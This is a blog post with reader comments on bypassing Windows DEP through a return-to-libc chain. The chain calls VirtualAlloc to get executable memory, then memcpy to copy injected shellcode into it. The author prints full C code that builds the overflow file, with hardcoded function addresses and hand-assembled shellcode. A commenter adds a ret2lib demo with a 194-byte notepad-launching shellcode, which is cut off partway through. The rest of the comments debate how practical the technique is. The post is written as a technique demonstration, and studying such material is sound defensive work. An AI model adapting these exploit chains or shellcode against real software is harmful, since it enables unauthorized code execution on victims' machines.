Buffer overflow attacks bypassing DEP (NX/XD bits) - part 2 : Code injection
While the attack we’ve seen in the first part are indeed powerful, they are limited to simple calls to functions already linked by the program we’re going to attack. To appreciate full power we should exploit the technique used in the first part for injecting arbitrary code in the program.
The first experiment I tried was calling VirtualProtect to change the permissions on the stack. However it requires to know the exact address that was used in a previous call to VirtualAlloc to work properly, and I couldn’t find an immediate way to know that address. After that I investigated to check if I could trick the memory manager in changin permissions using VirtualAlloc. Doing this I found this wonderful blog article. Take your time and read it, it’s very interesting. Now, that’s time to try his trick on an executable.
The trick
To quickly resume the above cited article, there is infact no need for the code we put in the stack to be in the stack at the moment of execution. We can infact use memcpy to copy our payload on a separate buffer (previously allocated with rwx permissions).
The payload
For this exploit we’re going to have an arbitrary code run on the system. The code in question will be a small loop calling printf 5 times, then calling ExitProcess to (not so) gracefully terminate the host program.
mov ecx, 5
loophere:
mov ebx, (string address)
push ecx
push ebx
mov eax, printf
call eax
pop ebx
pop ecx
loop loophere
push ecx
mov eax, ExitProcess
call eax
The temporary buffer
The temporary buffer will be allocated in memory using VirtualAlloc in an arbitrary location. The address is invented manually, and I think finding a good address giving high probability of success is not difficult. For our example we’ll use 00191000h.
The exploit
Here is how the memory will be layed during our exploit

It should be noted that VirtualAlloc has a __stdcall calling convention (while printf and and memcpy have a __cdecl calling convention). A function using the __stdcall convention will remove its own parameters from the stack, while a __cdecl function will leave them so that the caller can remove them (this behaviour of __cdecl is to support variadic functions like printf). This is very handy for us, since if VirtualAlloc were a __cdecl function we would have to find a way to remove those 4 parameters from the stack. Note, however, that this would have not been such a big problem. Finding a code with 4 pops and a ret would have been sufficient to avoid the problem (you can find such a code at the end of the close() function in the CRT code). However VirtualAlloc is __stdcall, so no problem at all
The steps are :
- Filling the buffer[] with a copy of our payload. The payload should use relative addresses whenever it cans, and absolute addresses based on what we already know about the program (e.i. system calls entry points)
- Trampling the buffer with ad-hoc data to call VirtualAlloc, with a return address pointing to memcpy
- Trampling the buffer with the data needed for memcpy, with a return address pointing to our buffer
This is the result :

The code to create the data file then is :
FILE* F = fopen("G:\\prg\\BufferHacker\\Release\\hack1", "wb");
char buf[1 < < 12];
int _stack = 0×0013FAE4; // esp value at beginning of 1024kb
int aprintf = 0×401090; // address of memcpy function
int amemcpy = 0×402530; // address of memcpy function
int avalloc = 0×004072ce; // address of VirtualAlloc function
int agetlasterr = 0×0040723e; // address of GetLastError for debug! ![]()
int rettomain = 0×00401633; // address of return to crt
int aexitprocess = 0×00407250; // address of ExitProcess
DWORD dwprotect = PAGE_EXECUTE_READWRITE;
DWORD dwsize = 512;
DWORD dwalloctype = MEM_COMMIT;
DWORD dwaddress = 0×191000;
strcpy(buf, “Success! ; ) - # %d\n”);
char shellcode[] =
{
‘\xB9′,’\x05′,’\x00′,’\x00′,’\x00′, // mov ecx, 05
‘\xBB’,'\x00′,’\x11′,’\x19′,’\x00′, // mov ebx, 0×191100
‘\x51′, // push ecx
‘\x53′, // push ebx
‘\xB8′,’\x90′,’\x10′,’\x40′,’\x00′, // mov eax, printf
‘\xFF’,'\xD0′, // call eax
‘\x5B’, // pop ebx
‘\x59′, // pop ecx
‘\xE2′,’\xEE’, // loop to the mov ebx..
‘\x51′, // push ecx
‘\xB8′,’\x50′,’\x72′,’\x40′,’\x00′, // mov eax, ExitProcess
‘\xFF’,'\xD0′, // call eax
‘\xCC’ // int 3 (never reached)
};
fwrite(shellcode, sizeof(shellcode), 1, F);
fwrite(buf, 256 - sizeof(shellcode), 1, F);
fwrite(buf, 768, 1, F);
//LPVOID VirtualAlloc(
// LPVOID lpAddress, // region to reserve or commit
// SIZE_T dwSize, // size of region
// DWORD flAllocationType, // type of allocation
// DWORD flProtect // type of access protection
//);
fwrite(&avalloc, 4, 1, F); //VirtualAlloc()
fwrite(&amemcpy, 4, 1, F); //after VirtualAlloc ret to memcpy
fwrite(&dwaddress, 4, 1, F); // lpAddress
fwrite(&dwsize, 4, 1, F); // dwSize
fwrite(&dwalloctype, 4, 1, F); // flAllocationType
fwrite(&dwprotect, 4, 1, F); // flProtect
//void *memcpy(
// void *dest,
// const void *src,
// size_t count
//);
fwrite(&dwaddress, 4, 1, F); //retaddress from memcpy
fwrite(&dwaddress, 4, 1, F); //void *dest
fwrite(&_stack, 4, 1, F); //const void *src
fwrite(&dwsize, 4, 1, F); //size_t count
fclose(F);
Here you can see a dump of the data file along with another shot of the result.
links to other posts of this serie
Buffer overflow attacks bypassing DEP (NX/XD bits) - part 1 : Simple Call
Buffer overflow attacks bypassing DEP (NX/XD bits) - part 2 : Code injection
Comments
19 Responses to “Buffer overflow attacks bypassing DEP (NX/XD bits) - part 2 : Code injection”

[…] Lair A 1,000,000 of lemmings can’t be wrong. Posts […]
Nice idea!
But that attack relies completely upon the lame loader. Which programer would write sucha piece of code, even in release code? I don’t think so, since smashing the stack via strcpy and friends would stuck in due to the null bytes.
You got simply rid of the null byte problem, by writing the lame loader. If a remote process handles response-/requestdata it will analyse some chunks (headers e.g.) onto the stack. A large amount of data would usually copied to the heap, where it can grow.
So i don’t expect a real chance for this kinda attack, but nice!
Just to complete this discussion:
/* ret2lib.c
*
* A lil demonstration of this type of exploit.
* The goal is, to prepare a stack frame,
* which allocates rwx memory,
* copies the code from the stack to the new memory
* and finaly runs the program in the new memory.
*/
#include
#include
#include
#include
/* XP2 GER SP2, ASLR would help alot...
*/
unsigned long valloc = 0x7C809A81; /* address of `VirtualAlloc' */
unsigned long mcpy = 0x77C16F70; /* address of `memcpy' */
void *mem = (void *)0x200000; /* guess an address to commit */
unsigned long size_commit = 0x00000200; /* try commit this size */
unsigned long size_code = 194; /* size of the shellcode */
/* start notepad, exitprocess egg
*/
char *scoda = /* 194 byte */
"\xeb\x53\x57\x89\xf7\xad\x60\x8b\x55\x3c\x8b\x54\x15\x78\x01\xea"
"\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\x31\xc0\xe3\x2d\x49\x8b\x34\x8b"
"\x01\xee\x31\xff\xac\x84\xc0\x74\x09\x0c\x20\xc1\xcf\x0d\x01\xc7"
"\xeb\xf2\x3b\x7c\x24\x1c\x75\xe0\x8b\x5a\x24\x01\xeb\x0f\xb7\x0c"
"\x4b\x8b\x5a\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xab\xe2"
"\xb4\x5f\xc3\xeb\x11\xe8\xf9\xff\xff\xff\x86\xd8\x62\x74\x92\x02"
"\xb4\x26\xbd\x59\x46\xd6\x5f\x89\xfe\xfc\x81\xc4\x04\xfe\xff\xff"
"\x8d\x5f\xa8\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x40\x1c\x8b"
"\x10\x8b\x6a\x08\x6a\x03\x59\xff\xd3\x31\xc0\x50\x50\x50\x50\x50"
"\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x6a\x44\x89\xe2\x50"
"\x68\x70\x61\x64\x20\x68\x6e\x6f\x74\x65\x89\xe3\x53\x52\x50\x50"
"\x50\x50\x50\x50\x53\x50\xff\x57\x04\x6a\xff\xff\x33\xff\x57\x08"
"\xff\x17";
/* build the stackframe
*/
int ret2lib()
{
/* let `ret' point to the return address
*/
unsigned long *ret = (unsigned long *)(&ret) + 2;
/* copy the code to the stack
*/
memcpy( (void *)&ret[10], scoda, size_code );
/* prepare the stack frame
*/
ret[9] = size_code; /* / sizeof code */
ret[8] = (unsigned long)&ret[10]; /* | StackAddress (code) */
ret[7] = (unsigned long)mem; /* | mem */
ret[6] = (unsigned long)mem; /* \ RETURN to Caller (mem :P) */
ret[5] = 0x00000040; /* / PType = PAGE_EXECUTE_READWRITE */
ret[4] = 0x00001000; /* | AType = MEM_COMMIT */
ret[3] = size_commit; /* | sizeof page */
ret[2] = (unsigned long)mem; /* | mem */
ret[1] = mcpy; /* \ RETURN to Caller (memcpy) */
ret[0] = valloc; /* RETURN to Caller (VirtualAlloc) */
/* run it
*/
return 0;
}
/* size means 2^size
*/
void print_commitable( /*2^*/int size )
{
int i, n;
/* to check nullbytes in address */
unsigned char *byte = (unsigned char *)&mem;
printf( "searching commitable process memory of %d byte...\n", 1>size); i; i-- )
I hope the pre tag don’t gets ripped out
Oops, sry for the st00pid post. The code got cutted in the middle, but the important parts survived, ehehee. Hmm, maybe the owner of the blog will fix this reformatting issue, so other people can see all the code…
If you can copy/paste in an email the code, I will try to put it complete and formatted
( mail : public@mastropaolo.com )
Thanks
In every article about bypassing DEP so far, It has required the user to modify page permissions of the stack or memory…this is absolutely RETARDED.
If already have permission to do this, then why the hell would you need an exploit?????
You guys writing these articles are jokers…DEP cannot be bypassed, admit it.
Eventually you’ll realize that :
>> In every article about bypassing DEP so far, It has required the user to modify page permissions of the stack or memory…this is absolutely RETARDED.
a) the example you have read does not modify memory permissions, but it ALLOCATES memory with specific permissions. This is an operation allowed to *every* user account (otherwise you wouldn’t be able to perform JIT compilations, to unpack code of compressed executables with pklite and another millions legitimate cases)
b) The user in this attack does actually nothing. The stupid moron code which hosts the attack could be a web browser with a bug displaying images in a specific format with a specific wrong header and the user is simply going to the wrong website. DEP should protect this and (if the attack is well planned) it fails.
>> If already have permission to do this, then why the hell would you need an exploit?????
Maybe you can’t figure out what DEP is. DEP should protect you from buffer overflow exploits. Usually these exploits are attacks of remote execution, that is someone who doesn’t control the computer actually is able to run arbitrary code on it, unauthorized. DEP should protect the fact that a man in Antarctica can potentially execute code on your computer without your consensus. And it fails. And as already said the ability to allocate memory with executing permission is a basic priviledge. Your comment doesn’t make sense because it’s effectively saying : “If a legitimate user alread have the permission to use its computer, then why an unauthorized criminal would need an exploit ?”.
EDIT : removed incorrect statement about DLL loading.
The title of your article is misleading..you do not “bypass” anything, you simply show us all, that with appropriate privileges, a user can allocate a block of memory with EXECUTE permission…which proves NOTHING and does not subvert ANY security whatsoever.
>> Maybe you can’t figure out what DEP is. DEP should protect you from buffer overflow exploits. Usually these exploits are attacks of remote execution, that is someone who doesn’t control the computer actually is able to run arbitrary code on it, unauthorized. DEP should protect the fact that a man in Antarctica can potentially execute code on your computer without your consensus. And it fails. And as already said the ability to allocate memory with executing permission is a basic priviledge. Your comment doesn’t make sense because it’s effectively saying : “If a legitimate user alread have the permission to use its computer, then why an unauthorized criminal would need an exploit ?”.
SHOW ME REMOTE CODE EXAMPLE THAT BYPASS DEP :)))))
SHOW ME LOCAL CODE EXAMPLE THAT BYPASS DEP, WITHOUT CORRECT PRIVILEGES.
THANK YOU.
I should say..that what i couldn’t understand and what i meant by the following:
>> If already have permission to do this, then why the hell would you need an exploit?????
Assuming that an attacker is exploiting a local buffer overflow, how does that person allocate a block of memory in the exploitable process if they do not already own the process, or is administrator…and if they do have read/write access to the process, why bother using buffer overflow exploit?????
You see? it doesn’t make any sense to me.
So, it seems to me, you just show windows working in functional way, as it should…do you say that all unix systems are broke because they allow ROOT to use ‘rm -rf /’ and destroy file system???
>> Assuming that an attacker is exploiting a local buffer overflow, how does that person allocate a block of memory in the exploitable process if they do not already own the process, or is administrator…
Return-to-libc to VirtualAlloc. Does not require any permission other than the possibility of trampling the stack of the client.
In steps : trample the stack to overwrite the return address of the current procedure with some magic numbers, the entry point of virtual alloc, some magic numbers, the entry point of memcpy, some magic numbers. No code on the stack is executed, no special permissions of the “attacked” program are required. Simply on returning from the current procedure, the program is tricked to jump to VirtualAlloc instead of resuming the caller. After the jump to VA the same trick is applied to jump to memcpy (to copy the payload) and to the payload itself.
I will try to make some “meaningful” code built in the near future, however, showing it can be done.
I know how that works..but with no static libraries on windows..different addresses for different versions, how well you think this will work?
it would..with an exploit, 1 in a million i’d say.
Well memcpy is often linked statically and VirtualAlloc has an high chance of being at the same address in similar versions of windows (and the same for memcpy linked dynamically - you can guess the DLL is not relocated and then you may guess the address). That means that with a good target application you need at most to target a service pack of a given language (and targeting xp sp2 english is much more than 1 in a million).
Under these conditions three attacks are feasible : 1) attacking a broadly used combination (xp-sp2-en) hoping no relocation is happening due to strange additional software installed, accepting an high failure rate but with some good success on a such a broad installation base. 2) attacking a given platform guessed by web log analysis. 3) attacking a known system (either internal of your corporation or anything, or external like the attack which stole the sources of HL2 from Valve).
So, resuming, yes it’s not trivial bypassing it on a large scale, and in many cases (if not most) not feasible. Not impossible either and it’s still a bypass
When i see working code, then maybe i will be convinced.
By the way, what i meant earlier when i said “1 in a million” was that, the actual software being exploited would have to suitable for this theory to work…in effect, the softwares code would have to run the way the attacker wants it to.
Yes, it can work, but what i am saying is, what code in an application is going to run this way?
That is why, the whole idea is impractical at a universal level.
See, i have played this all in my head, and i’ve programmed assembly for some years, so i understand what has to happen, in order for successful attack, which is why i doubt this theory will EVER be used in the real world.
so, you allocate memory using VirtualAlloc…how do you know what address it is going to return? assuming you plan to use memcpy() function to copy shellcode to buffer returned by it?
You are not thinking about this kind of thing, are you?
maybe i am wrong as far as you are concerned, but I believe that DEP is here to stay, and nothing can bypass it without some miracle technique.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualalloc.asp
This is the description of the first parameter (lpAddress) for reference : [in] The starting address of the region to allocate. If the memory is being reserved, the specified address is rounded down to the nearest multiple of the allocation granularity. If the memory is already reserved and is being committed, the address is rounded down to the next page boundary. To determine the size of a page and the allocation granularity on the host computer, use the GetSystemInfo function. If this parameter is NULL, the system determines where to allocate the region.
So you have to guess a free address, which usually is quite easy (most processes have more free addresses than allocated ones). (Of course granularity is not a problem - an x86 page is 4KB, 2MB if 36bit addressing is enabled, if I’m not wrong. But anyway just request memory rounded to 4MB granularity and we are on the safe side
).
Sure we’ll not see this happening much in the future for two reasons. 1) as now we have still not many PC with DEP enabled. 2) Programs compiled with Visual C++ 7.0 and later are immune due to other protection mechanism
http://www.uninformed.org/?v=2&a=4&t=sumry
Uh…Slip, that article you posted requires execution privilege..doh!
[…] links to other posts of this serie Buffer overflow attacks bypassing DEP (NX/XD bits) - part 1 : Simple Call Buffer overflow attacks bypassing DEP (NX/XD bits) - part 2 : Code injection […]
Hi,
You have awesome site, very interesttng. What do you think about B4875S589 style?